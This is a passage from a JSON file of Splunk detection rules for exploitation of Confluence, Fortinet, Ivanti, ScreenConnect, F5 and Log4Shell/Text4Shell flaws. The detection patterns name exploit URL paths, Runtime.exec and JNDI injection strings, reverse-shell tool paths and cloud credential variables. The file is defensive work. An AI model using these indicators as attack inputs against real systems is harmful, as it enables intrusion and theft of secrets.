Cedar", - "Volt Typhoon", - "menuPass" - ] - } - ] - } - }, - { - "name": "Confluence Data Center and Server Privilege Escalation", - "description": "The following analytic identifies potential exploitation attempts on a known vulnerability in Atlassian Confluence, specifically targeting the /setup/*.action* URL pattern. It leverages web logs within the Splunk 'Web' Data Model, filtering for successful accesses (HTTP status 200) to these endpoints. This activity is significant as it suggests attackers might be exploiting a privilege escalation flaw in Confluence. If confirmed malicious, it could result in unauthorized access or account creation with escalated privileges, leading to potential data breaches or further exploitation within the environment.", - "search": "| tstats count min(_time) as firstTime max(_time) as lastTime from datamodel=Web where Web.url IN (\"*/setup/setupadministrator.action*\", \"*/setup/finishsetup.action*\", \"*/json/setup-restore-local.action*\", \"*/json/setup-restore-progress.action*\", \"*/json/setup-restore.action*\", \"*/bootstrap/selectsetupstep.action*\") Web.status=200 by Web.http_user_agent, Web.status Web.http_method, Web.url, Web.url_length, Web.src, Web.dest, sourcetype | `drop_dm_object_name(\"Web\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `confluence_data_center_and_server_privilege_escalation_filter`", - "tags": { - "analytic_story": [ - "CVE-2023-22515 Privilege Escalation Vulnerability Confluence Data Center and Server", - "Confluence Data Center and Confluence Server Vulnerabilities" - ], - "asset_type": "Web Server", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Potential exploitation attempts on a known vulnerability in Atlassian Confluence detected. The source IP is $src$ and the destination hostname is $dest$.", - "risk_score": 72, - "security_domain": "network", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - } - ] - } - }, - { - "name": "Confluence Pre-Auth RCE via OGNL Injection CVE-2023-22527", - "description": "The following analytic identifies attempts to exploit a critical template injection vulnerability (CVE-2023-22527) in outdated Confluence Data Center and Server versions. It detects POST requests to the \"/template/aui/text-inline.vm\" endpoint with HTTP status codes 200 or 202, indicating potential OGNL injection attacks. This activity is significant as it allows unauthenticated attackers to execute arbitrary code remotely. If confirmed malicious, attackers could gain full control over the affected Confluence instance, leading to data breaches, system compromise, and further network infiltration. Immediate patching is essential to mitigate this threat.", - "search": "| tstats count min(_time) as firstTime max(_time) as lastTime from datamodel=Web where Web.url=\"*/template/aui/text-inline.vm*\" Web.http_method=POST Web.status IN (200, 202) by Web.src, Web.dest, Web.http_user_agent, Web.url, Web.status | `drop_dm_object_name(\"Web\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `confluence_pre_auth_rce_via_ognl_injection_cve_2023_22527_filter`", - "tags": { - "analytic_story": [ - "Confluence Data Center and Confluence Server Vulnerabilities" - ], - "asset_type": "Web Application", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Exploitation attempts on a known vulnerability in Atlassian Confluence detected. The source IP is $src$ and the destination hostname is $dest$.", - "risk_score": 81, - "security_domain": "network", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - } - ] - } - }, - { - "name": "Confluence Unauthenticated Remote Code Execution CVE-2022-26134", - "description": "The following analytic detects attempts to exploit CVE-2022-26134, an unauthenticated remote code execution vulnerability in Confluence. It leverages the Web datamodel to analyze network and CIM-compliant web logs, identifying suspicious URL patterns and parameters indicative of exploitation attempts. This activity is significant as it allows attackers to execute arbitrary code on the Confluence server without authentication, potentially leading to full system compromise. If confirmed malicious, this could result in unauthorized access, data exfiltration, and further lateral movement within the network. Immediate investigation and remediation are crucial to prevent extensive damage.", - "search": "| tstats count min(_time) as firstTime max(_time) as lastTime from datamodel=Web where Web.url IN (\"*${*\", \"*%2F%7B*\") (Web.url=\"*org.apache.commons.io.IOUtils*\" Web.url=\"*java.lang.Runtime@getRuntime().exec*\") OR (Web.url=\"*java.lang.Runtime%40getRuntime%28%29.exec*\") OR (Web.url=\"*getEngineByName*\" AND Web.url=\"*nashorn*\" AND Web.url=\"*ProcessBuilder*\") by Web.http_user_agent Web.http_method, Web.url,Web.url_length Web.src, Web.dest sourcetype | `drop_dm_object_name(\"Web\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `confluence_unauthenticated_remote_code_execution_cve_2022_26134_filter`", - "tags": { - "analytic_story": [ - "Atlassian Confluence Server and Data Center CVE-2022-26134", - "Confluence Data Center and Confluence Server Vulnerabilities" - ], - "asset_type": "Web Server", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "IP Address", - "role": [ - "Victim" - ] - }, - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "A URL was requested related to CVE-2022-26134, a unauthenticated remote code execution vulnerability, on $dest$ by $src$.", - "risk_score": 100, - "security_domain": "network", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1505", - "mitre_attack_technique": "Server Software Component", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1133", - "mitre_attack_technique": "External Remote Services", - "mitre_attack_tactics": [ - "Initial Access", - "Persistence" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT41", - "Akira", - "Chimera", - "Dragonfly", - "FIN13", - "FIN5", - "GALLIUM", - "GOLD SOUTHFIELD", - "Ke3chang", - "Kimsuky", - "LAPSUS$", - "Leviathan", - "OilRig", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Threat Group-3390", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "ConnectWise ScreenConnect Authentication Bypass", - "description": "The following analytic detects attempts to exploit the ConnectWise ScreenConnect CVE-2024-1709 vulnerability, which allows attackers to bypass authentication via an alternate path or channel. It leverages web request logs to identify access to the SetupWizard.aspx page, indicating potential exploitation. This activity is significant as it can lead to unauthorized administrative access and remote code execution. If confirmed malicious, attackers could create administrative users and gain full control over the affected system, posing severe security risks. Immediate remediation by updating to version 23.9.8 or above is recommended.", - "search": "| tstats count min(_time) as firstTime max(_time) as lastTime from datamodel=Web where Web.url IN (\"*/SetupWizard.aspx/*\",\"*/SetupWizard/\") Web.status=200 Web.http_method=POST by Web.src, Web.dest, Web.http_user_agent, Web.url, Web.status, Web.http_method, sourcetype, source | rex field=Web.url \"/SetupWizard.aspx/(?.+)\" | `drop_dm_object_name(\"Web\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `connectwise_screenconnect_authentication_bypass_filter`", - "tags": { - "analytic_story": [ - "ConnectWise ScreenConnect Vulnerabilities" - ], - "asset_type": "Web Server", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "An authentication bypass attempt against ScreenConnect has been detected on $dest$.", - "risk_score": 100, - "security_domain": "network", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - } - ] - } - }, - { - "name": "Detect F5 TMUI RCE CVE-2020-5902", - "description": "The following analytic identifies remote code execution (RCE) attempts targeting F5 BIG-IP, BIG-IQ, and Traffix SDC devices, specifically exploiting CVE-2020-5902. It uses regex to detect patterns in syslog data that match known exploit strings such as \"hsqldb;\" and directory traversal sequences. This activity is significant because successful exploitation can allow attackers to execute arbitrary commands on the affected devices, leading to full system compromise. If confirmed malicious, this could result in unauthorized access, data exfiltration, or further lateral movement within the network.", - "search": "`f5_bigip_rogue` | regex _raw=\"(hsqldb;|.*\\\\.\\\\.;.*)\" | search `detect_f5_tmui_rce_cve_2020_5902_filter`", - "tags": { - "analytic_story": [ - "F5 TMUI RCE CVE-2020-5902" - ], - "asset_type": "Network", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Other", - "role": [ - "Other" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - } - ] - } - }, - { - "name": "Exploit Public Facing Application via Apache Commons Text", - "description": "The following analytic detects attempts to exploit the CVE-2022-42889 vulnerability in the Apache Commons Text Library, known as Text4Shell. It leverages the Web datamodel to identify suspicious HTTP requests containing specific lookup keys (url, dns, script) that can lead to Remote Code Execution (RCE). This activity is significant as it targets a critical vulnerability that can allow attackers to execute arbitrary code on the server. If confirmed malicious, this could lead to full system compromise, data exfiltration, or further lateral movement within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Web where Web.http_method IN (POST, GET) by Web.src Web.status Web.uri_path Web.dest Web.http_method Web.uri_query Web.http_user_agent | `drop_dm_object_name(\"Web\")` | eval utf=if(like(lower(uri_query),\"%:utf-8:http%\"),2,0) | eval lookup = if(like(lower(uri_query), \"%url%\") OR like(lower(uri_query), \"%dns%\") OR like(lower(uri_query), \"%script%\"),2,0) | eval other_lookups = if(like(lower(uri_query), \"%env%\") OR like(lower(uri_query), \"%file%\") OR like(lower(uri_query), \"%getRuntime%\") OR like(lower(uri_query), \"%java%\") OR like(lower(uri_query), \"%localhost%\") OR like(lower(uri_query), \"%properties%\") OR like(lower(uri_query), \"%resource%\") OR like(lower(uri_query), \"%sys%\") OR like(lower(uri_query), \"%xml%\") OR like(lower(uri_query), \"%base%\"),1,0) | addtotals fieldname=Score utf lookup other_lookups | fields Score, src, dest, status, uri_query, uri_path, http_method, http_user_agent firstTime lastTime | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | where Score >= 3 | `exploit_public_facing_application_via_apache_commons_text_filter`", - "tags": { - "analytic_story": [ - "Text4Shell CVE-2022-42889" - ], - "asset_type": "Web Server", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "IP Address", - "role": [ - "Victim" - ] - }, - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "A URL was requested related to Text4Shell on $dest$ by $src$.", - "risk_score": 49, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1505.003", - "mitre_attack_technique": "Web Shell", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT32", - "APT38", - "APT39", - "APT5", - "BackdoorDiplomacy", - "Deep Panda", - "Dragonfly", - "FIN13", - "Fox Kitten", - "GALLIUM", - "HAFNIUM", - "Kimsuky", - "Leviathan", - "Magic Hound", - "Moses Staff", - "OilRig", - "Sandworm Team", - "Threat Group-3390", - "Tonto Team", - "Tropic Trooper", - "Volatile Cedar", - "Volt Typhoon" - ] - }, - { - "mitre_attack_id": "T1505", - "mitre_attack_technique": "Server Software Component", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1133", - "mitre_attack_technique": "External Remote Services", - "mitre_attack_tactics": [ - "Initial Access", - "Persistence" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT41", - "Akira", - "Chimera", - "Dragonfly", - "FIN13", - "FIN5", - "GALLIUM", - "GOLD SOUTHFIELD", - "Ke3chang", - "Kimsuky", - "LAPSUS$", - "Leviathan", - "OilRig", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Threat Group-3390", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Exploit Public-Facing Fortinet FortiNAC CVE-2022-39952", - "description": "The following analytic detects attempts to exploit the Fortinet FortiNAC CVE-2022-39952 vulnerability. It identifies HTTP POST requests to the URI configWizard/keyUpload.jsp with a payload.zip file. The detection leverages the Web datamodel, analyzing fields such as URL, HTTP method, and user agent. This activity is significant as it indicates an attempt to exploit a known vulnerability, potentially leading to remote code execution. If confirmed malicious, attackers could gain control over the affected system, schedule malicious tasks, and establish persistent access via a remote command and control (C2) server.", - "search": "| tstats count min(_time) as firstTime max(_time) as lastTime from datamodel=Web where Web.url IN (\"*configWizard/keyUpload.jsp*\") by Web.http_user_agent, Web.status Web.http_method, Web.url, Web.url_length, Web.src, Web.dest, sourcetype | `drop_dm_object_name(\"Web\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `exploit_public_facing_fortinet_fortinac_cve_2022_39952_filter`", - "tags": { - "analytic_story": [ - "Fortinet FortiNAC CVE-2022-39952" - ], - "asset_type": "Network", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Potential CVE-2022-39952 against a Fortinet NAC may be occurring against $dest$.", - "risk_score": 64, - "security_domain": "network", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1133", - "mitre_attack_technique": "External Remote Services", - "mitre_attack_tactics": [ - "Initial Access", - "Persistence" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT41", - "Akira", - "Chimera", - "Dragonfly", - "FIN13", - "FIN5", - "GALLIUM", - "GOLD SOUTHFIELD", - "Ke3chang", - "Kimsuky", - "LAPSUS$", - "Leviathan", - "OilRig", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Threat Group-3390", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Fortinet Appliance Auth bypass", - "description": "The following analytic detects attempts to exploit CVE-2022-40684, a Fortinet appliance authentication bypass vulnerability. It identifies REST API requests to the /api/v2/ endpoint using various HTTP methods (GET, POST, PUT, DELETE) that may indicate unauthorized modifications, such as adding SSH keys or creating new users. This detection leverages the Web datamodel to monitor specific URL patterns and HTTP methods. This activity is significant as it can lead to unauthorized access and control over the appliance. If confirmed malicious, attackers could gain persistent access, reroute network traffic, or capture sensitive information.", - "search": "| tstats count min(_time) as firstTime max(_time) as lastTime from datamodel=Web where Web.url IN (\"*/api/v2/cmdb/system/admin*\") Web.http_method IN (\"GET\", \"PUT\") by Web.http_user_agent, Web.http_method, Web.url, Web.url_length, Web.src, Web.dest, sourcetype | `drop_dm_object_name(\"Web\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `fortinet_appliance_auth_bypass_filter`", - "tags": { - "analytic_story": [ - "CVE-2022-40684 Fortinet Appliance Auth bypass" - ], - "asset_type": "Network", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Potential CVE-2022-40684 against a Fortinet appliance may be occurring against $dest$.", - "risk_score": 81, - "security_domain": "network", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1133", - "mitre_attack_technique": "External Remote Services", - "mitre_attack_tactics": [ - "Initial Access", - "Persistence" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT41", - "Akira", - "Chimera", - "Dragonfly", - "FIN13", - "FIN5", - "GALLIUM", - "GOLD SOUTHFIELD", - "Ke3chang", - "Kimsuky", - "LAPSUS$", - "Leviathan", - "OilRig", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Threat Group-3390", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Hunting for Log4Shell", - "description": "The following analytic detects potential exploitation attempts of the Log4Shell vulnerability (CVE-2021-44228) by analyzing HTTP headers for specific patterns. It leverages the Web Datamodel and evaluates various indicators such as the presence of `{jndi:`, environment variables, and common URI paths. This detection is significant as Log4Shell allows remote code execution, posing a severe threat to systems. If confirmed malicious, attackers could gain unauthorized access, execute arbitrary code, and potentially compromise sensitive data, leading to extensive damage and data breaches.", - "search": "| from datamodel Web.Web | eval jndi=if(match(_raw, \"(\\{|%7B)[jJnNdDiI]{4}:\"),4,0) | eval jndi_fastmatch=if(match(_raw, \"[jJnNdDiI]{4}\"),2,0) | eval jndi_proto=if(match(_raw,\"(?i)jndi:(ldap[s]?|rmi|dns|nis|iiop|corba|nds|http|https):\"),5,0) | eval all_match = if(match(_raw, \"(?i)(%(25){0,}20|\\s)*(%(25){0,}24|\\$)(%(25){0,}20|\\s)*(%(25){0,}7B|{)(%(25){0,}20|\\s)*(%(25){0,}(6A|4A)|J)(%(25){0,}(6E|4E)|N)(%(25){0,}(64|44)|D)(%(25){0,}(69|49)|I)(%(25){0,}20|\\s)*(%(25){0,}3A|:)[\\w\\%]+(%(25){1,}3A|:)(%(25){1,}2F|\\/)[^\\n]+\"),5,0) | eval env_var = if(match(_raw, \"env:\") OR match(_raw, \"env:AWS_ACCESS_KEY_ID\") OR match(_raw, \"env:AWS_SECRET_ACCESS_KEY\"),5,0) | eval uridetect = if(match(_raw, \"(?i)Basic\\/Command\\/Base64|Basic\\/ReverseShell|Basic\\/TomcatMemshell|Basic\\/JBossMemshell|Basic\\/WebsphereMemshell|Basic\\/SpringMemshell|Basic\\/Command|Deserialization\\/CommonsCollectionsK|Deserialization\\/CommonsBeanutils|Deserialization\\/Jre8u20\\/TomcatMemshell|Deserialization\\/CVE_2020_2555\\/WeblogicMemshell|TomcatBypass|GroovyBypass|WebsphereBypass\"),4,0) | eval keywords = if(match(_raw,\"(?i)\\$\\{ctx\\:loginId\\}|\\$\\{map\\:type\\}|\\$\\{filename\\}|\\$\\{date\\:MM-dd-yyyy\\}|\\$\\{docker\\:containerId\\}|\\$\\{docker\\:containerName\\}|\\$\\{docker\\:imageName\\}|\\$\\{env\\:USER\\}|\\$\\{event\\:Marker\\}|\\$\\{mdc\\:UserId\\}|\\$\\{java\\:runtime\\}|\\$\\{java\\:vm\\}|\\$\\{java\\:os\\}|\\$\\{jndi\\:logging/context-name\\}|\\$\\{hostName\\}|\\$\\{docker\\:containerId\\}|\\$\\{k8s\\:accountName\\}|\\$\\{k8s\\:clusterName\\}|\\$\\{k8s\\:containerId\\}|\\$\\{k8s\\:containerName\\}|\\$\\{k8s\\:host\\}|\\$\\{k8s\\:labels.app\\}|\\$\\{k8s\\:labels.podTemplateHash\\}|\\$\\{k8s\\:masterUrl\\}|\\$\\{k8s\\:namespaceId\\}|\\$\\{k8s\\:namespaceName\\}|\\$\\{k8s\\:podId\\}|\\$\\{k8s\\:podIp\\}|\\$\\{k8s\\:podName\\}|\\$\\{k8s\\:imageId\\}|\\$\\{k8s\\:imageName\\}|\\$\\{log4j\\:configLocation\\}|\\$\\{log4j\\:configParentLocation\\}|\\$\\{spring\\:spring.application.name\\}|\\$\\{main\\:myString\\}|\\$\\{main\\:0\\}|\\$\\{main\\:1\\}|\\$\\{main\\:2\\}|\\$\\{main\\:3\\}|\\$\\{main\\:4\\}|\\$\\{main\\:bar\\}|\\$\\{name\\}|\\$\\{marker\\}|\\$\\{marker\\:name\\}|\\$\\{spring\\:profiles.active[0]|\\$\\{sys\\:logPath\\}|\\$\\{web\\:rootDir\\}|\\$\\{sys\\:user.name\\}\"),4,0) | eval obf = if(match(_raw, \"(\\$|%24)[^ /]*({|%7b)[^ /]*(j|%6a)[^ /]*(n|%6e)[^ /]*(d|%64)[^ /]*(i|%69)[^ /]*(:|%3a)[^ /]*(:|%3a)[^ /]*(/|%2f)\"),5,0) | eval lookups = if(match(_raw, \"(?i)({|%7b)(main|sys|k8s|spring|lower|upper|env|date|sd)\"),4,0) | addtotals fieldname=Score, jndi, jndi_proto, env_var, uridetect, all_match, jndi_fastmatch, keywords, obf, lookups | where Score > 2 | stats values(Score) by jndi, jndi_proto, env_var, uridetect, all_match, jndi_fastmatch, keywords, lookups, obf, dest, src, http_method, _raw | `hunting_for_log4shell_filter`", - "tags": { - "analytic_story": [ - "CISA AA22-320A", - "Log4Shell CVE-2021-44228" - ], - "asset_type": "Web Server", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "http_method", - "type": "Other", - "role": [ - "Other" - ] - }, - { - "name": "src", - "type": "Other", - "role": [ - "Other" - ] - } - ], - "message": "Hunting for Log4Shell exploitation has occurred.", - "risk_score": 40, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1133", - "mitre_attack_technique": "External Remote Services", - "mitre_attack_tactics": [ - "Initial Access", - "Persistence" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT41", - "Akira", - "Chimera", - "Dragonfly", - "FIN13", - "FIN5", - "GALLIUM", - "GOLD SOUTHFIELD", - "Ke3chang", - "Kimsuky", - "LAPSUS$", - "Leviathan", - "OilRig", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Threat Group-3390", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Ivanti Connect Secure Command Injection Attempts", - "description": "The following analytic identifies attempts to exploit the CVE-2023-46805 and CVE-2024-21887 vulnerabilities in Ivanti Connect Secure. It detects POST requests to specific URIs that leverage command injection to execute arbitrary commands. The detection uses the Web datamodel to monitor for these requests and checks for a 200 OK response, indicating a successful exploit attempt. This activity is significant as it can lead to unauthorized command execution on the server. If confirmed malicious, attackers could gain control over the system, leading to potential data breaches or further network compromise.", - "search": "| tstats count min(_time) as firstTime max(_time) as lastTime from datamodel=Web where Web.url IN(\"*/api/v1/totp/user-backup-code/../../system/maintenance/archiving/cloud-server-test-connection*\",\"*/api/v1/totp/user-backup-code/../../license/keys-status/*\") Web.http_method IN (\"POST\", \"GET\") Web.status=200 by Web.src, Web.dest, Web.http_user_agent, Web.url, Web.http_method, Web.status | `drop_dm_object_name(\"Web\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `ivanti_connect_secure_command_injection_attempts_filter`", - "tags": { - "analytic_story": [ - "Ivanti Connect Secure VPN Vulnerabilities" - ], - "asset_type": "VPN Appliance", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Possible exploitation of CVE-2023-46805 and CVE-2024-21887 against $dest$.", - "risk_score": 90, - "security_domain": "network", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - 